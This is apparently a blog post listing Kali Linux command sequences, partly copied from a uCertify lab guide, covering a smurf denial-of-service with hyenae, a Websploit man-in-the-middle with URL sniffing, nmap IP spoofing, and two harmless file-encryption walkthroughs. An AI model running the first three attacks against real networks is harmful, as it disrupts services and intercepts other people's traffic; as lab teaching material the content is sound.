CLI for Top 5 Hacks in Kali Linux

This is a list of some useful attacks I’ve seen executed from Kali Linux. I’ll include pictures at a later time, but this should be more than enough to get you started. Please use for educational purposes only!

1 . Conduct DOS using smurf attack

hyenae -I 1 -A 4 -a icmp-echo -s %-% -d %-192.168.137.7 -t 128

2. MITM with Websploit

  1. su –
  2. Websploit
  3. show modules
  4. use network/mitm
  5. show options
  6. set interface eth0
  7. set router 192.168.137.1
  8. set target 192.168.137.7
  9. set sniffer urlsnarf
  10. run

3. IP Spoofing

  1. From the desktop, open Wireshark.
  2. Select vEthernet (Switch1) and click the Start button to capture packets.
  3. From the desktop, open Linux.vnc and provide Password: ucertify.
  4. Click OK.
  5. From the left sidebar, open the Terminal window.
  6. Execute the following commands in the Terminal window to conduct IP spoofing using nmap.
    Note: Enter one command at a time and enter the password as ucertify.
    Copy
  7. nmap -iflist
  8. sudo nmap -e eth0 -S 192.168.137.1 192.168.137.14
  9. Go to Wireshark, click the Stop button and wait for sometime till the packets will appear.
  10. Apply the display filter as arp. View the Info section for Destination Broadcast.
  11. In the main menu navigate to File > Save As.. and in the File Name text box type ip_spoof.
  12. Click the Save button to save the captured packet in the default location.
  13. Close all the windows.

4. Encrypt Files on Windows

  1. From desktop, open Lab Files.
  2. Right-click in the Lab Files window and navigate to New > Folder, rename it Symmetric.
    • Symmetric Algorithm encrypts and decrypts the information using the same secret key. You will encrypt a file using the AxCrypt open-source encryption algorithm, which uses the AES algorithm with 128-bit keys.
  3. In the taskbar, type Notepad in the search bar to open Notepad and then type the following text in it:
    This is an example of Symmetric Algorithm.
  4. In the main menu, click File and select the Save As… option. Navigate to Desktop > Lab Files > Symmetric folder and type File name as symmetric_file.txt and then click Save.Open Google Chrome browser, enter https://account.axcrypt.net/en/Home/Register in the address bar and press the Enter key to register yourself with your email id.
  5. From the Lab Files, double-click the AxCrypt-2.1.1547.0-Setup.exe file to open it.
    Note: In the appeared Open File- Security Warning dialogue box, click Run.
  6. Proceed through the wizard to complete the installation, then click on the Launch button.
  7. At the AxCrypt ID prompt, type your <Email ID> and click OK.
  8. In the Verify AxCrypt ID dialog box, type Verification CodeSet Your Password, and Verify Password and click OK.
    Note: You will receive the verification code in your email that you have entered in step 8. Use that verification code in this step to proceed further.
  9. At the Getting started with AxCrypt prompt, click OK.
  10. At the How do you want to open this prompt, click OK.
  11. A browser window will open.
  12. Close all the browser windows.
  13. At the Warning prompt, check the I will not forget my password! checkbox and click OK.
  14. At the AxCrypt ID Sign In prompt, type your password and click OK.
  15. At the first Information prompt, click Cancel.
  16. At the second Information prompt, click OK.
  17. Click the + sign in the menu, navigate to Desktop > Lab Files > Symmetric folder and select the file symmetric_file.txt, the file will be encrypted. In the File explorer, you will notice that the file name has changed to symmetric_file-txt.axx.
  18. Open the symmetric_file-txt.axx file in Notepad, notice that the contents are unreadable.
  19. Right-click symmetric_file-txt.axx file and navigate to AxCrypt > Decrypt, accept any default information.
  20. Notice that the symmetric_file-txt.axx file reappears as symmetric_file.txt. View the content of the file.
  21. Close all the windows.

5. Encrypt Files on Linux

  1. cat Documents/asym.txt
  2. Execute the following command to generate the private key:
    Copy
    openssl genrsa -out private_key.pem 1024
  3. Execute the following command to generate the public key so that private and public key can form a pair:
    Copy
    openssl rsa -in private_key.pem -out public_key.pem -outform PEM -pubout
  4. Execute the following command to encrypt data. Here we will encrypt the file asym.txt and store the encrypted text in the file encrypt.dat:
    Copy
    openssl rsautl -encrypt -inkey public_key.pem -pubin -in Documents/asym.txt -out encrypt.dat
  5. Execute the following command to use the following command to view the encrypt.dat file:
    Copy
    cat encrypt.dat
  6. Execute the following command to use the private key to decrypt the file. Here we will encrypt the file encrypt.dat and store the encrypted text in the file decrypt.txt:
    Copy
    openssl rsautl -decrypt -inkey private_key.pem -in encrypt.dat -out decrypt.txt
  7. Execute the following command to view the decrypt.txt file. You will see the original content:
    Copy cat decrypt.txt

Leave a Reply